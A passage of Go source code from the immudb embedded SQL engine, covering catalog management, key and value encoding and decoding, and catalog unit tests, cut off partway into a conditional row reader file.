oldName) } t, err := ctlg.GetTableByName(oldName) if err != nil { return nil, err } _, err = ctlg.GetTableByName(newName) if err == nil { return nil, fmt.Errorf("%w (%s)", ErrTableAlreadyExists, newName) } t.name = newName delete(ctlg.tablesByName, oldName) ctlg.tablesByName[newName] = t return t, nil } func (t *Table) renameColumn(oldName, newName string) (*Column, error) { if isReservedCol(newName) { return nil, fmt.Errorf("%w(%s)", ErrReservedWord, newName) } if oldName == newName { return nil, fmt.Errorf("%w (%s)", ErrSameOldAndNewNames, oldName) } col, exists := t.colsByName[oldName] if !exists { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, oldName) } _, exists = t.colsByName[newName] if exists { return nil, fmt.Errorf("%w (%s)", ErrColumnAlreadyExists, newName) } col.colName = newName delete(t.colsByName, oldName) t.colsByName[newName] = col return col, nil } func (t *Table) deleteColumn(col *Column) error { isIndexed, err := t.IsIndexed(col.colName) if err != nil { return err } if isIndexed { return fmt.Errorf("%w %s because one or more indexes require it", ErrCannotDropColumn, col.colName) } newCols := make([]*Column, 0, len(t.cols)-1) for _, c := range t.cols { if c.id != col.id { newCols = append(newCols, c) } } t.cols = newCols delete(t.colsByName, col.colName) delete(t.colsByID, col.id) return nil } func (t *Table) deleteCheck(name string) (uint32, error) { c, exists := t.checkConstraints[name] if !exists { return 0, fmt.Errorf("%s.%s: %w", t.name, name, ErrConstraintNotFound) } delete(t.checkConstraints, name) return c.id, nil } func (t *Table) deleteIndex(index *Index) error { if index.IsPrimary() { return fmt.Errorf("%w: primary key index can NOT be deleted", ErrIllegalArguments) } newIndexes := make([]*Index, 0, len(t.indexes)-1) for _, i := range t.indexes { if i.id != index.id { newIndexes = append(newIndexes, i) } } t.indexes = newIndexes delete(t.indexesByColID, index.id) delete(t.indexesByName, index.Name()) return nil } func (c *Column) ID() uint32 { return c.id } func (c *Column) Name() string { return c.colName } func (c *Column) Type() SQLValueType { return c.colType } func (c *Column) MaxLen() int { switch c.colType { case BooleanType: return 1 case IntegerType: return 8 case TimestampType: return 8 case Float64Type: return 8 case UUIDType: return 16 } return c.maxLen } func (c *Column) IsNullable() bool { return !c.notNull } func (c *Column) IsAutoIncremental() bool { return c.autoIncrement } func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { switch sqlType { case BooleanType: return maxLen <= 1 case IntegerType: return maxLen == 0 || maxLen == 8 case Float64Type: return maxLen == 0 || maxLen == 8 case TimestampType: return maxLen == 0 || maxLen == 8 case UUIDType: return maxLen == 0 || maxLen == 16 } return maxLen >= 0 } func (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error { return catlg.loadCatalog(ctx, tx, false) } func (catlg *Catalog) loadCatalog(ctx context.Context, tx *store.OngoingTx, copyToTx bool) error { prefix := MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1)) return iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { dbID, tableID, err := unmapTableID(catlg.enginePrefix, key) if err != nil { return err } if dbID != DatabaseID { return ErrCorruptedData } if deleted { catlg.maxTableID++ return nil } colSpecs, maxColID, err := loadColSpecs(ctx, tableID, tx, catlg.enginePrefix, copyToTx) if err != nil { return err } checks, err := loadCheckConstraints(ctx, dbID, tableID, tx, catlg.enginePrefix, copyToTx) if err != nil { return err } table, err := catlg.newTable(string(value), colSpecs, checks, maxColID) if err != nil { return err } if tableID != table.id { return ErrCorruptedData } if copyToTx { if err := tx.Set(key, nil, value); err != nil { return err } } return table.loadIndexes(ctx, catlg.enginePrefix, tx, copyToTx) }) } func loadMaxPK(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ Prefix: MapKey(sqlPrefix, MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)), DescOrder: true, } pkReader, err := tx.NewKeyReader(pkReaderSpec) if err != nil { return nil, err } defer pkReader.Close() mkey, _, err := pkReader.Read(ctx) if err != nil { return nil, err } return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) } func loadColSpecs(ctx context.Context, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, copyToTx bool) (map[uint32]*ColSpec, uint32, error) { prefix := MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(tableID)) var maxColID uint32 specs := make(map[uint32]*ColSpec) err := iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { if deleted { maxColID++ return nil } colSpec, colID, err := loadColSpec(sqlPrefix, key, value, tableID) if err != nil { return err } maxColID++ specs[colID] = colSpec if copyToTx { return tx.Set(key, nil, value) } return nil }) return specs, maxColID, err } func loadColSpec(sqlPrefix, key, value []byte, tableID uint32) (*ColSpec, uint32, error) { if len(value) < 6 { return nil, 0, ErrCorruptedData } mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, key) if err != nil { return nil, 0, err } if mdbID != 1 || tableID != mtableID { return nil, 0, ErrCorruptedData } return &ColSpec{ colName: string(value[5:]), colType: colType, maxLen: int(binary.BigEndian.Uint32(value[1:])), autoIncrement: value[0]&autoIncrementFlag != 0, notNull: value[0]&nullableFlag != 0, }, colID, nil } func loadCheckConstraints(ctx context.Context, dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, copyToTx bool) (map[string]CheckConstraint, error) { prefix := MapKey(sqlPrefix, catalogCheckPrefix, EncodeID(dbID), EncodeID(tableID)) checks := make(map[string]CheckConstraint) err := iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { if deleted { return nil } check, err := parseCheckConstraint(sqlPrefix, key, value) if err != nil { return err } checks[check.name] = *check if copyToTx { return tx.Set(key, nil, value) } return nil }) return checks, err } func (table *Table) loadIndexes(ctx context.Context, sqlPrefix []byte, tx *store.OngoingTx, copyToTx bool) error { prefix := MapKey(sqlPrefix, catalogIndexPrefix, EncodeID(1), EncodeID(table.id)) return iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error { dbID, tableID, indexID, err := unmapIndex(sqlPrefix, key) if err != nil { return err } if table.id != tableID || dbID != 1 { return ErrCorruptedData } if deleted { table.maxIndexID++ return nil } if copyToTx { if err := tx.Set(key, nil, value); err != nil { return err } } else { // v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)} colSpecLen := EncIDLen + 1 if len(value) < 1+colSpecLen || len(value)%colSpecLen != 1 { return ErrCorruptedData } var colIDs []uint32 for i := 1; i < len(value); i += colSpecLen { colID := binary.BigEndian.Uint32(value[i:]) // TODO: currently only ASC order is supported if value[i+EncIDLen] != 0 { return ErrCorruptedData } colIDs = append(colIDs, colID) } index, err := table.newIndex(value[0] > 0, colIDs) if err != nil { return err } if indexID != index.id { return ErrCorruptedData } } return nil }) } func trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) { if len(prefix)+len(mappingPrefix) > len(mkey) || !bytes.Equal(prefix, mkey[:len(prefix)]) || !bytes.Equal(mappingPrefix, mkey[len(prefix):len(prefix)+len(mappingPrefix)]) { return nil, ErrIllegalMappedKey } return mkey[len(prefix)+len(mappingPrefix):], nil } func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { encID, err := trimPrefix(prefix, mkey, []byte(catalogTablePrefix)) if err != nil { return 0, 0, err } if len(encID) != EncIDLen*2 { return 0, 0, ErrCorruptedData } dbID = binary.BigEndian.Uint32(encID) tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) return } func unmapCheckID(prefix, mkey []byte) (uint32, error) { encID, err := trimPrefix(prefix, mkey, []byte(catalogCheckPrefix)) if err != nil { return 0, err } if len(encID) < 3*EncIDLen { return 0, ErrCorruptedData } return binary.BigEndian.Uint32(encID[2*EncIDLen:]), nil } func parseCheckConstraint(prefix, key, value []byte) (*CheckConstraint, error) { id, err := unmapCheckID(prefix, key) if err != nil { return nil, err } nameLen := value[0] + 1 name := string(value[1 : 1+nameLen]) exp, err := ParseExpFromString(string(value[1+nameLen:])) if err != nil { return nil, err } return &CheckConstraint{ id: id, name: name, exp: exp, }, nil } func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQLValueType, err error) { encID, err := trimPrefix(prefix, mkey, []byte(catalogColumnPrefix)) if err != nil { return 0, 0, 0, "", err } if len(encID) < EncIDLen*3 { return 0, 0, 0, "", ErrCorruptedData } dbID = binary.BigEndian.Uint32(encID) tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) colID = binary.BigEndian.Uint32(encID[2*EncIDLen:]) colType, err = asType(string(encID[EncIDLen*3:])) if err != nil { return 0, 0, 0, "", ErrCorruptedData } return } func asType(t string) (SQLValueType, error) { switch t { case IntegerType, Float64Type, BooleanType, VarcharType, UUIDType, BLOBType, TimestampType, JSONType: return t, nil } return t, ErrCorruptedData } func unmapIndex(sqlPrefix, mkey []byte) (dbID, tableID, indexID uint32, err error) { encID, err := trimPrefix(sqlPrefix, mkey, []byte(catalogIndexPrefix)) if err != nil { return 0, 0, 0, err } if len(encID) != EncIDLen*3 { return 0, 0, 0, ErrCorruptedData } dbID = binary.BigEndian.Uint32(encID) tableID = binary.BigEndian.Uint32(encID[EncIDLen:]) indexID = binary.BigEndian.Uint32(encID[EncIDLen*2:]) return } func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, err error) { if index == nil { return nil, ErrIllegalArguments } enc, err := trimPrefix(sqlPrefix, mkey, []byte(MappedPrefix)) if err != nil { return nil, ErrCorruptedData } if len(enc) <= EncIDLen*2 { return nil, ErrCorruptedData } off := 0 tableID := binary.BigEndian.Uint32(enc[off:]) off += EncIDLen indexID := binary.BigEndian.Uint32(enc[off:]) off += EncIDLen if tableID != index.table.id || indexID != index.id { return nil, ErrCorruptedData } //read index values for _, col := range index.cols { if enc[off] == KeyValPrefixNull { off += 1 continue } if enc[off] != KeyValPrefixNotNull { return nil, ErrCorruptedData } off += 1 maxLen := col.MaxLen() if variableSizedType(col.colType) { maxLen += EncLenLen } if len(enc)-off < maxLen { return nil, ErrCorruptedData } off += maxLen } //PK cannot be nil if len(enc)-off < 1 { return nil, ErrCorruptedData } return enc[off:], nil } func variableSizedType(sqlType SQLValueType) bool { return sqlType == VarcharType || sqlType == BLOBType } func MapKey(prefix []byte, mappingPrefix string, encValues ...[]byte) []byte { mkeyLen := len(prefix) + len(mappingPrefix) for _, ev := range encValues { mkeyLen += len(ev) } mkey := make([]byte, mkeyLen) off := 0 copy(mkey, prefix) off += len(prefix) copy(mkey[off:], []byte(mappingPrefix)) off += len(mappingPrefix) for _, ev := range encValues { copy(mkey[off:], ev) off += len(ev) } return mkey } func EncodeID(id uint32) []byte { var encID [EncIDLen]byte binary.BigEndian.PutUint32(encID[:], id) return encID[:] } const ( KeyValPrefixNull byte = 0x20 KeyValPrefixNotNull byte = 0x80 KeyValPrefixUpperBound byte = 0xFF ) func EncodeValueAsKey(val TypedValue, colType SQLValueType, maxLen int) ([]byte, int, error) { return EncodeRawValueAsKey(val.RawValue(), colType, maxLen) } // EncodeRawValueAsKey encodes a value in a b-tree meaningful way. func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, int, error) { if maxLen <= 0 { return nil, 0, ErrInvalidValue } if maxLen > MaxKeyLen { return nil, 0, ErrMaxKeyLengthExceeded } convVal, err := mayApplyImplicitConversion(val, colType) if err != nil { return nil, 0, err } if convVal == nil { return []byte{KeyValPrefixNull}, 0, nil } switch colType { case VarcharType: { strVal, ok := convVal.(string) if !ok { return nil, 0, fmt.Errorf("value is not a string: %w", ErrInvalidValue) } if len(strVal) > maxLen { return nil, 0, ErrMaxLengthExceeded } // notnull + value + padding + len(value) encv := make([]byte, 1+maxLen+EncLenLen) encv[0] = KeyValPrefixNotNull copy(encv[1:], []byte(strVal)) binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(strVal))) return encv, len(strVal), nil } case IntegerType: { if maxLen != 8 { return nil, 0, ErrCorruptedData } intVal, ok := convVal.(int64) if !ok { return nil, 0, fmt.Errorf("value is not an integer: %w", ErrInvalidValue) } // v var encv [9]byte encv[0] = KeyValPrefixNotNull binary.BigEndian.PutUint64(encv[1:], uint64(intVal)) // map to unsigned integer space for lexical sorting order encv[1] ^= 0x80 return encv[:], 8, nil } case BooleanType: { if maxLen != 1 { return nil, 0, ErrCorruptedData } boolVal, ok := convVal.(bool) if !ok { return nil, 0, fmt.Errorf("value is not a boolean: %w", ErrInvalidValue) } // v var encv [2]byte encv[0] = KeyValPrefixNotNull if boolVal { encv[1] = 1 } return encv[:], 1, nil } case BLOBType: { blobVal, ok := convVal.([]byte) if !ok { return nil, 0, fmt.Errorf("value is not a blob: %w", ErrInvalidValue) } if len(blobVal) > maxLen { return nil, 0, ErrMaxLengthExceeded } // notnull + value + padding + len(value) encv := make([]byte, 1+maxLen+EncLenLen) encv[0] = KeyValPrefixNotNull copy(encv[1:], []byte(blobVal)) binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(blobVal))) return encv, len(blobVal), nil } case UUIDType: { uuidVal, ok := convVal.(uuid.UUID) if !ok { return nil, 0, fmt.Errorf("value is not an UUID: %w", ErrInvalidValue) } // notnull + value encv := make([]byte, 17) encv[0] = KeyValPrefixNotNull copy(encv[1:], uuidVal[:]) return encv, 16, nil } case TimestampType: { if maxLen != 8 { return nil, 0, ErrCorruptedData } timeVal, ok := convVal.(time.Time) if !ok { return nil, 0, fmt.Errorf("value is not a timestamp: %w", ErrInvalidValue) } // v var encv [9]byte encv[0] = KeyValPrefixNotNull binary.BigEndian.PutUint64(encv[1:], uint64(timeVal.UnixNano())) // map to unsigned integer space for lexical sorting order encv[1] ^= 0x80 return encv[:], 8, nil } case Float64Type: { floatVal, ok := convVal.(float64) if !ok { return nil, 0, fmt.Errorf("value is not a float: %w", ErrInvalidValue) } // Apart form the sign bit, bit representation of float64 // can be sorted lexicographically floatBits := math.Float64bits(floatVal) var encv [9]byte encv[0] = KeyValPrefixNotNull binary.BigEndian.PutUint64(encv[1:], floatBits) if encv[1]&0x80 != 0 { // For negative numbers, the order must be reversed, // we also negate the sign bit so that all negative // numbers end up in the smaller half of values for i := 1; i < 9; i++ { encv[i] = ^encv[i] } } else { // For positive numbers, the order is already correct, // we only have to set the sign bit to 1 to ensure that // positive numbers end in the larger half of values encv[1] ^= 0x80 } return encv[:], 8, nil } } return nil, 0, ErrInvalidValue } func getEncodeRawValue(val TypedValue, colType SQLValueType) (interface{}, error) { if colType != JSONType || val.Type() == JSONType { return val.RawValue(), nil } if val.Type() != VarcharType { return nil, fmt.Errorf("%w: invalid json value", ErrInvalidValue) } s, _ := val.RawValue().(string) raw := json.RawMessage(s) if !json.Valid(raw) { return nil, fmt.Errorf("%w: invalid json value", ErrInvalidValue) } return raw, nil } func EncodeValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { v, err := getEncodeRawValue(val, colType) if err != nil { return nil, err } return EncodeRawValue(v, colType, maxLen, false) } func EncodeNullableValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { v, err := getEncodeRawValue(val, colType) if err != nil { return nil, err } return EncodeRawValue(v, colType, maxLen, true) } // EncodeRawValue encode a value in a byte format. This is the internal binary representation of a value. Can be decoded with DecodeValue. func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int, nullable bool) ([]byte, error) { convVal, err := mayApplyImplicitConversion(val, colType) if err != nil { return nil, err } if convVal == nil && !nullable { return nil, ErrInvalidValue } if convVal == nil { encv := make([]byte, EncLenLen) binary.BigEndian.PutUint32(encv[:], uint32(0)) return encv, nil } switch colType { case VarcharType: { strVal, ok := convVal.(string) if !ok { return nil, fmt.Errorf("value is not a string: %w", ErrInvalidValue) } if maxLen > 0 && len(strVal) > maxLen { return nil, ErrMaxLengthExceeded } // len(v) + v encv := make([]byte, EncLenLen+len(strVal)) binary.BigEndian.PutUint32(encv[:], uint32(len(strVal))) copy(encv[EncLenLen:], []byte(strVal)) return encv, nil } case IntegerType: { intVal, ok := convVal.(int64) if !ok { return nil, fmt.Errorf("value is not an integer: %w", ErrInvalidValue) } // map to unsigned integer space // len(v) + v var encv [EncLenLen + 8]byte binary.BigEndian.PutUint32(encv[:], uint32(8)) binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(intVal)) return encv[:], nil } case BooleanType: { boolVal, ok := convVal.(bool) if !ok { return nil, fmt.Errorf("value is not a boolean: %w", ErrInvalidValue) } // len(v) + v var encv [EncLenLen + 1]byte binary.BigEndian.PutUint32(encv[:], uint32(1)) if boolVal { encv[EncLenLen] = 1 } return encv[:], nil } case BLOBType: { var blobVal []byte if val != nil { v, ok := convVal.([]byte) if !ok { return nil, fmt.Errorf("value is not a blob: %w", ErrInvalidValue) } blobVal = v } if maxLen > 0 && len(blobVal) > maxLen { return nil, ErrMaxLengthExceeded } // len(v) + v encv := make([]byte, EncLenLen+len(blobVal)) binary.BigEndian.PutUint32(encv[:], uint32(len(blobVal))) copy(encv[EncLenLen:], blobVal) return encv[:], nil } case JSONType: rawJson, ok := val.(json.RawMessage) if !ok { data, err := json.Marshal(val) if err != nil { return nil, err } rawJson = data } // len(v) + v encv := make([]byte, EncLenLen+len(rawJson)) binary.BigEndian.PutUint32(encv[:], uint32(len(rawJson))) copy(encv[EncLenLen:], rawJson) return encv[:], nil case UUIDType: { uuidVal, ok := convVal.(uuid.UUID) if !ok { return nil, fmt.Errorf("value is not an UUID: %w", ErrInvalidValue) } // len(v) + v var encv [EncLenLen + 16]byte binary.BigEndian.PutUint32(encv[:], uint32(16)) copy(encv[EncLenLen:], uuidVal[:]) return encv[:], nil } case TimestampType: { timeVal, ok := convVal.(time.Time) if !ok { return nil, fmt.Errorf("value is not a timestamp: %w", ErrInvalidValue) } // len(v) + v var encv [EncLenLen + 8]byte binary.BigEndian.PutUint32(encv[:], uint32(8)) binary.BigEndian.PutUint64(encv[EncLenLen:], uint64(TimeToInt64(timeVal))) return encv[:], nil } case Float64Type: { floatVal, ok := convVal.(float64) if !ok { return nil, fmt.Errorf("value is not a float: %w", ErrInvalidValue) } var encv [EncLenLen + 8]byte floatBits := math.Float64bits(floatVal) binary.BigEndian.PutUint32(encv[:], uint32(8)) binary.BigEndian.PutUint64(encv[EncLenLen:], floatBits) return encv[:], nil } } return nil, ErrInvalidValue } func DecodeValueLength(b []byte) (int, int, error) { if len(b) < EncLenLen { return 0, 0, ErrCorruptedData } vlen := int(binary.BigEndian.Uint32(b[:])) voff := EncLenLen if vlen < 0 || len(b) < voff+vlen { return 0, 0, ErrCorruptedData } return vlen, EncLenLen, nil } func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { return decodeValue(b, colType, false) } func DecodeNullableValue(b []byte, colType SQLValueType) (TypedValue, int, error) { return decodeValue(b, colType, true) } func decodeValue(b []byte, colType SQLValueType, nullable bool) (TypedValue, int, error) { vlen, voff, err := DecodeValueLength(b) if err != nil { return nil, 0, err } if vlen == 0 && nullable { return &NullValue{t: colType}, voff, nil } switch colType { case VarcharType: { v := string(b[voff : voff+vlen]) voff += vlen return &Varchar{val: v}, voff, nil } case IntegerType: { if vlen != 8 { return nil, 0, ErrCorruptedData } v := binary.BigEndian.Uint64(b[voff:]) voff += vlen return &Integer{val: int64(v)}, voff, nil } case BooleanType: { if vlen != 1 { return nil, 0, ErrCorruptedData } v := b[voff] == 1 voff += 1 return &Bool{val: v}, voff, nil } case BLOBType: { v := b[voff : voff+vlen] voff += vlen return &Blob{val: v}, voff, nil } case JSONType: { v := b[voff : voff+vlen] voff += vlen var val interface{} err = json.Unmarshal(v, &val) return &JSON{val: val}, voff, err } case UUIDType: { if vlen != 16 { return nil, 0, ErrCorruptedData } u, err := uuid.FromBytes(b[voff : voff+16]) if err != nil { return nil, 0, fmt.Errorf("%w: %s", ErrCorruptedData, err.Error()) } voff += vlen return &UUID{val: u}, voff, nil } case TimestampType: { if vlen != 8 { return nil, 0, ErrCorruptedData } v := binary.BigEndian.Uint64(b[voff:]) voff += vlen return &Timestamp{val: TimeFromInt64(int64(v))}, voff, nil } case Float64Type: { if vlen != 8 { return nil, 0, ErrCorruptedData } v := binary.BigEndian.Uint64(b[voff:]) voff += vlen return &Float64{val: math.Float64frombits(v)}, voff, nil } } return nil, 0, ErrCorruptedData } // addSchemaToTx adds the schema of the catalog to the given transaction. func (catlg *Catalog) addSchemaToTx(ctx context.Context, tx *store.OngoingTx) error { return catlg.loadCatalog(ctx, tx, true) } func iteratePrefix(ctx context.Context, tx *store.OngoingTx, prefix []byte, onSpec func(key, value []byte, deleted bool) error) error { dbReaderSpec := store.KeyReaderSpec{ Prefix: prefix, } colSpecReader, err := tx.NewKeyReader(dbReaderSpec) if err != nil { return err } defer colSpecReader.Close() for { mkey, vref, err := colSpecReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { return err } md := vref.KVMetadata() if md != nil && md.IsExpirable() { return ErrBrokenCatalogColSpecExpirable } deleted := md != nil && md.Deleted() var v []byte if !deleted { v, err = vref.Resolve() if err != nil { return err } } err = onSpec(mkey, v, deleted) if err != nil { return err } } return nil } ================================================ FILE: embedded/sql/catalog_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "strings" "testing" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) func TestFromEmptyCatalog(t *testing.T) { db := newCatalog(nil) _, err := db.GetTableByName("table1") require.ErrorIs(t, err, ErrTableDoesNotExist) exists := db.ExistTable("table1") require.False(t, exists) _, err = db.GetTableByID(1) require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = db.GetTableByName("table1") require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = db.newTable("", nil, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.newTable("table1", nil, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.newTable("table1", map[uint32]*ColSpec{}, nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.newTable("table1", map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, 2: {colName: "id", colType: IntegerType}, }, nil, 2) require.ErrorIs(t, err, ErrDuplicatedColumn) table, err := db.newTable("table1", map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, 2: {colName: "title", colType: IntegerType}, }, nil, 2) require.NoError(t, err) require.Equal(t, "table1", table.Name()) _, err = table.newColumn(&ColSpec{colName: revCol, colType: IntegerType}) require.ErrorIs(t, err, ErrReservedWord) _, err = table.newIndex(true, []uint32{1}) require.NoError(t, err) tables := db.GetTables() require.Len(t, tables, 1) require.Equal(t, table.Name(), tables[0].Name()) table1, err := db.GetTableByID(1) require.NoError(t, err) require.Equal(t, "table1", table1.Name()) _, err = db.GetTableByName("table1") require.NoError(t, err) _, err = db.GetTableByID(2) require.ErrorIs(t, err, ErrTableDoesNotExist) _, err = db.newTable("table1", map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, 2: {colName: "title", colType: IntegerType}, }, nil, 2) require.ErrorIs(t, err, ErrTableAlreadyExists) indexed, err := table.IsIndexed("id") require.NoError(t, err) require.True(t, indexed) _, err = table.IsIndexed("id1") require.ErrorIs(t, err, ErrColumnDoesNotExist) pk := table.PrimaryIndex() require.NotNil(t, pk) require.Len(t, pk.cols, 1) require.Equal(t, pk.cols[0].colName, "id") require.Equal(t, pk.cols[0].colType, IntegerType) c, err := table.GetColumnByID(1) require.NoError(t, err) require.Equal(t, c.Name(), "id") c, err = table.GetColumnByID(2) require.NoError(t, err) require.Equal(t, c.Name(), "title") _, err = table.GetColumnByID(3) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, err = table.newIndex(true, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = table.newIndex(true, []uint32{1, 2, 1}) require.ErrorIs(t, err, ErrDuplicatedColumn) } func TestEncodeRawValueAsKey(t *testing.T) { t.Run("encoded int keys should preserve lex order", func(t *testing.T) { var prevEncKey []byte for i := 0; i < 10; i++ { encKey, n, err := EncodeRawValueAsKey(int64(i), IntegerType, 8) require.NoError(t, err) require.Greater(t, encKey, prevEncKey) require.Equal(t, 8, n) prevEncKey = encKey } }) t.Run("encoded varchar keys should preserve lex order", func(t *testing.T) { var prevEncKey []byte for _, v := range []string{"key1", "key11", "key2", "key3"} { encKey, n, err := EncodeRawValueAsKey(v, VarcharType, 10) require.NoError(t, err) require.Greater(t, encKey, prevEncKey) require.Equal(t, len(v), n) prevEncKey = encKey } }) } func TestCatalogTableLength(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) totalTablesCount := uint32(0) for _, v := range []string{"table1", "table2", "table3"} { _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE `+v+` ( id INTEGER AUTO_INCREMENT, PRIMARY KEY(id) )`, nil) require.NoError(t, err) totalTablesCount++ } t.Run("table count should be 3 on catalog reload", func(t *testing.T) { for i := 0; i < 3; i++ { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() require.Equal(t, totalTablesCount, tx.catalog.maxTableID) } }) t.Run("table count should not increase on adding existing table", func(t *testing.T) { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() catlog := tx.catalog for _, v := range []string{"table1", "table2", "table3"} { _, err := catlog.newTable(v, map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, }, nil, 1) require.ErrorIs(t, err, ErrTableAlreadyExists) } require.Equal(t, totalTablesCount, catlog.maxTableID) }) t.Run("table count should increase on using newTable function on catalog", func(t *testing.T) { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() catlog := tx.catalog for _, v := range []string{"table4", "table5", "table6"} { _, err := catlog.newTable(v, map[uint32]*ColSpec{ 1: {colName: "id", colType: IntegerType}, }, nil, 1) require.NoError(t, err) } require.Equal(t, totalTablesCount+3, catlog.maxTableID) }) t.Run("table count should increase on adding new table", func(t *testing.T) { for _, v := range []string{"table4", "table5", "table6"} { _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE `+v+` ( id INTEGER AUTO_INCREMENT, PRIMARY KEY(id) )`, nil) require.NoError(t, err) totalTablesCount++ } }) t.Run("table count should not decrease on dropping table", func(t *testing.T) { deleteTables := []string{"table1", "table2", "table3"} activeTables := []string{"table4", "table5", "table6"} for _, v := range deleteTables { _, _, err := engine.ExecPreparedStmts( context.Background(), nil, []SQLStmt{ NewDropTableStmt(v), // delete collection from catalog }, nil, ) require.NoError(t, err) } tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() catlog := tx.catalog // ensure that catalog has been reloaded with deleted table count require.Equal(t, totalTablesCount, catlog.maxTableID) for _, v := range activeTables { require.True(t, catlog.ExistTable(v)) } for _, v := range deleteTables { require.False(t, catlog.ExistTable(v)) } }) t.Run("adding new table should increase table count", func(t *testing.T) { tableName := "table7" _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE `+tableName+` ( id INTEGER AUTO_INCREMENT, PRIMARY KEY(id) )`, nil) require.NoError(t, err) totalTablesCount++ tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() catlog := tx.catalog tab, err := catlog.GetTableByName(tableName) require.NoError(t, err) require.Equal(t, totalTablesCount, tab.id) tab, err = catlog.GetTableByID(7) require.NoError(t, err) require.Equal(t, totalTablesCount, tab.id) _, err = tab.GetIndexByName("invalid_index") require.ErrorIs(t, err, ErrIndexNotFound) }) t.Run("cancelling a transaction should not increase table count", func(t *testing.T) { // create a new transaction tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) sql := ` CREATE TABLE table10 ( id INTEGER AUTO_INCREMENT, PRIMARY KEY(id) ) ` stmts, err := ParseSQL(strings.NewReader(sql)) require.NoError(t, err) require.Equal(t, 1, len(stmts)) stmt := stmts[0] // execute the create table statement stx, err := stmt.execAt(context.Background(), tx, nil) require.NoError(t, err) // cancel the transaction instead of committing it require.Equal(t, totalTablesCount+1, stx.catalog.maxTableID) require.NoError(t, stx.Cancel()) // reload a fresh catalog tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() catlog := tx.catalog // table count should not increase require.Equal(t, totalTablesCount, catlog.maxTableID) }) } ================================================ FILE: embedded/sql/cond_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "fmt" ) type conditionalRowReader struct { rowReader RowReader condition ValueExp } func newConditionalRowReader(rowReader RowReader, condition ValueExp) *conditionalRowReader { return &conditionalRowReader{ rowReader: rowReader, condition: condition, } } func (cr *conditionalRowReader) onClose(callback func()) { cr.rowReader.onClose(callback) } func (cr *conditionalRowReader) Tx() *SQLTx { return cr.rowReader.Tx() } func (cr *conditionalRowReader) TableAlias() string { return 